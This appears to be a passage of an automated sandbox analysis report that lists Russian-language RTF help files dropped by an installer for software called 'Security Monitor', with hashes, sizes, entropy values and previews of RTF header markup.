Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-LR177.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45355
Entropy (8bit):	5.032998271538751
Encrypted:	false
SSDEEP:	768:qqeXxd/1Ca9DGi3w2EHnT2njX8x3FXbv4CD5klkhuhr7RVRatot7kzkAkqkVk2gJ:qqoC8IA9E
MD5:	37B0C0E48F0AF77161430D5DE894A950
SHA1:	9D27E00A6B141CA123DA1E9E0C7C768CB89910E0
SHA-256:	61FCA2437288DDC4692FE93CCE90C3C72C0ADDBD08C5662F391F6EF694B27256
SHA-512:	AC5463F888305FA6BBAB57CA80570B51249A2719C8A1B116B4EB574EEB2D724718CC676092CEA9241F3B72C2B2D0C63137553A7CE4DD8A871ED46E37D63FFEC1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-NIOLM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36808
Entropy (8bit):	5.0329736161419865
Encrypted:	false
SSDEEP:	768:q4eM4jXTicPI0QhhiLVFBbRTRYDOuJLrEZLZ/6A9i:q4UyUnVIA9i
MD5:	F9230F9C9FA57AB35625AD7DFD1D21A1
SHA1:	27AAAF7B861E3C1A0D017377E0F59801E143D59C
SHA-256:	85125B0682653CE7A5E9569F8480A87F5A3F1D3978B47A3C1AAD5FE80401D7CB
SHA-512:	A8FB380CD3DB166ECF2174097158B4261020E8AB376A2B6180958BC615CEF3F7CFBC4D4D437ADC454801FC9193E80A94B56C54B4CB2CAF4485043F34B132F99C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-PURT4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48100
Entropy (8bit):	5.025830167724142
Encrypted:	false
SSDEEP:	768:q4Fknx1eiCUYCmpNM2UrPGsGx7TYlDIUldgOQrrFrf7IPWj2sqiHTLb3ybVaGMbQ:q4giYIA9b
MD5:	89ED020D20DA91E6E1F6AF7A3A4C3ED8
SHA1:	B387B9E8EE99429E41090937A41D60564CA50A5A
SHA-256:	29857E5F65A83CB250D7374A4AAFBCC1159C4318942F5044C9C12534A1962B41
SHA-512:	1CBFA048F043D784062288EC39E5A89F74EF418CE6FBA1C2FFA32555B993C446CAC8ADB63B05D2E60FF3DB65735E55664C954D84AC4F21DDB94542BFE536F6BF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-QBNGP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53477
Entropy (8bit):	4.993468879548167
Encrypted:	false
SSDEEP:	768:q4eDwJeLCdAT2njX8x3l7G5V5V5h5G5P5N58UkbdSLVMVIs2TFDtyZ12TXW++xUu:q4ZVFIA9b
MD5:	E70B7387C930D96F979C15DEF4A0EF82
SHA1:	9885403B2230DB0BC89F6C12A5326C28DD5C0ABB
SHA-256:	2ECA499E76C966798F73BFF750D868951A1F337854402446D060919F2D10CE87
SHA-512:	D37DA2B1EBF5808CBBE89163FDEEBB96E842F5FD3CC4A7523F478CA1433BF1F826F44EB219E397F8A427B4884A1987BF435D19F5C809BD06B1E7600E4FD5980C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-REUJC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43030
Entropy (8bit):	5.037181036721856
Encrypted:	false
SSDEEP:	768:qqel4jeXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3TRbyqfVHVU3icdXPIZnZ/6A9C:qq3pDIA9C
MD5:	67B098FD7DC727E81D9D9FB9A520E1CE
SHA1:	F6D0526FD0E5F10956988840D866DD2222ABF783
SHA-256:	C3AF56E516BBA805D97730CC1303C32539C72A4E93F598F599EE4DE1756AB0BF
SHA-512:	65718F4601D9636CE73B3B5D2E5EDC62B34DAE818C7450033BEC2221916E8AC81316D6EB3F3690186E3A505F82192A4C1EE34D12606690B3B266A2BEDE2F7DEA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-RS5TB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48785
Entropy (8bit):	5.035435060271824
Encrypted:	false
SSDEEP:	768:qqFy4a4jeDCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnRbK3j10C0O0N0e0x0b0o0g4:qqJ9CxIA92
MD5:	DC2C7249084FEEBFE9F1E4FB3491C9EA
SHA1:	B1F39695D01244B8D85F9FE40D24B809759DB0FA
SHA-256:	D5EE096B03118AA2E7032A80EAD45F1C1D180889E5C0D9140F5C7D999698EFBD
SHA-512:	6B83FF30438154C6D58F7BA35FB6D01DA65D3B696340B522653DB3AEAD830DF67CEF61B1729197E24E8A160558418CBF639E5F31D6D2E990527C1920376FCE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-TGDH1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44589
Entropy (8bit):	5.042107887527953
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epnBBbq1FkSkek9kukBkrkSkP9MkSI6Ioum:qq4ABXIA9N
MD5:	A408ECED60101314102C175C7FE3E9D7
SHA1:	EBD937ECBFE7FDCC84DF27E7AEED4AC53FAA488A
SHA-256:	2649AAF142678E0D5B5DBEEC454E5D04DD191CE636F6EC5231A7A633C754252C
SHA-512:	B5E5B24DAF9BB0EC263E37AB11B1A66F50C3C4742F3EDB674AEF6FCA8B1F1C566D2F5CF59C9CA95779C9D055CC58B80770B9374EE605D110312F0C6E761E0BA0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-TH45P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49985
Entropy (8bit):	5.016054674805171
Encrypted:	false
SSDEEP:	768:qqegxdUjOcPI0QhhiLVptabQhOsWxspoudZdRdud9dWlxjRw4L41PcQhiuOdcJpw:qqH7UnexIA9k
MD5:	6817C14DB33376EA13F5135582FEF07A
SHA1:	AC55EF25E5BA0C63319C2B7750AD3FB3B6141D1D
SHA-256:	8E6A77CDCF0EB74491B22151BCC19798620754E7F069D76227F8C2C1E28778B7
SHA-512:	81B3E721842C1F1CA3581AF69CB6495756EECAFD14385C512E5CEDFAF98BBED387D6B9AB27ED76754B17FFDB8B2E5414108702BD6E5B4A8DA27E821D9D7FF3B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-TRDP9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34281
Entropy (8bit):	5.012287301852251
Encrypted:	false
SSDEEP:	384:2aFkTZ0dW2OTYn/akt0LL32En4leo75Y3kpTBLRA6AlEayv:2aFkA0LL32EhZ/6A9O
MD5:	EDED564ACC58819DE344EDCF72FC398B
SHA1:	5BE5194C6D1F83EB91B5ADC4F165BF49EA393FD1
SHA-256:	A036B3EA04F1F8A0C6DF8948FD2ECE8422AF95438DF6FE40AF14D46C457C387A
SHA-512:	3AC8B47B305149067386772E289302033EAB223D1C1B64474268B6DE8BE444377640BCB0F852DA53FBC0B7B17F71EA84AA2CA360F9D6CB938C502B1F689A9B7F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-VHHT9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54989
Entropy (8bit):	5.004403089561587
Encrypted:	false
SSDEEP:	1536:2aqAse39REjyW0ywGa2eI9Cj+uFECVCjuizCaIizg8zku0+zkuQPChJsCGJ7CdJ+:2B/i+uFEwmuizbIizg8zku0+zkugsGLZ
MD5:	D8DFDDE0D2E5EE7768A3D91D9CD9D014
SHA1:	4C1B8C8205715F8858FA089D887D2A49DC89EC77
SHA-256:	E3409500600560293AC4C89EE3FFB02B854E9CE26926C9C592DB11979288C0BA
SHA-512:	161A64A5B4F8C877661DE001A5293831D351E5294AF76F66441B6DF13AAF5976506ADD1A17F0EAE5126B72F1096AE9A745F1042BD6F9D0AA880F24C726027DF9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45355
Entropy (8bit):	5.032998271538751
Encrypted:	false
SSDEEP:	768:qqeXxd/1Ca9DGi3w2EHnT2njX8x3FXbv4CD5klkhuhr7RVRatot7kzkAkqkVk2gJ:qqoC8IA9E
MD5:	37B0C0E48F0AF77161430D5DE894A950
SHA1:	9D27E00A6B141CA123DA1E9E0C7C768CB89910E0
SHA-256:	61FCA2437288DDC4692FE93CCE90C3C72C0ADDBD08C5662F391F6EF694B27256
SHA-512:	AC5463F888305FA6BBAB57CA80570B51249A2719C8A1B116B4EB574EEB2D724718CC676092CEA9241F3B72C2B2D0C63137553A7CE4DD8A871ED46E37D63FFEC1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\law_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34281
Entropy (8bit):	5.012287301852251
Encrypted:	false
SSDEEP:	384:2aFkTZ0dW2OTYn/akt0LL32En4leo75Y3kpTBLRA6AlEayv:2aFkA0LL32EhZ/6A9O
MD5:	EDED564ACC58819DE344EDCF72FC398B
SHA1:	5BE5194C6D1F83EB91B5ADC4F165BF49EA393FD1
SHA-256:	A036B3EA04F1F8A0C6DF8948FD2ECE8422AF95438DF6FE40AF14D46C457C387A
SHA-512:	3AC8B47B305149067386772E289302033EAB223D1C1B64474268B6DE8BE444377640BCB0F852DA53FBC0B7B17F71EA84AA2CA360F9D6CB938C502B1F689A9B7F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53477
Entropy (8bit):	4.993468879548167
Encrypted:	false
SSDEEP:	768:q4eDwJeLCdAT2njX8x3l7G5V5V5h5G5P5N58UkbdSLVMVIs2TFDtyZ12TXW++xUu:q4ZVFIA9b
MD5:	E70B7387C930D96F979C15DEF4A0EF82
SHA1:	9885403B2230DB0BC89F6C12A5326C28DD5C0ABB
SHA-256:	2ECA499E76C966798F73BFF750D868951A1F337854402446D060919F2D10CE87
SHA-512:	D37DA2B1EBF5808CBBE89163FDEEBB96E842F5FD3CC4A7523F478CA1433BF1F826F44EB219E397F8A427B4884A1987BF435D19F5C809BD06B1E7600E4FD5980C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59300
Entropy (8bit):	4.973759890149894
Encrypted:	false
SSDEEP:	768:qqe+2VXLcpErLVYZx1M8j5g5V5V5h5G5P5N5hBcqtqYepAkVZEdvI9TMMf4fPOj/:qqqcshf4fH6IA9h
MD5:	00483C12EB7B2424B5A2C264DBFBAD6F
SHA1:	3038291DC4B40B6C269A24727F175504F09DD532
SHA-256:	BC9B42D7D66A88398A3FFEAB5790818CCB2DF9FA4B24FC8524F86F23930A8ED4
SHA-512:	04B58420762D90E1564AB6635B718FA47CB71795B743CC42FBC7B54B01D6243083C39A99B9A276F9290BC7FC4989AE0970DB35DBDBAAC92E9B80B69FBEC71693
Malicious:	false
Reputation:	unknown
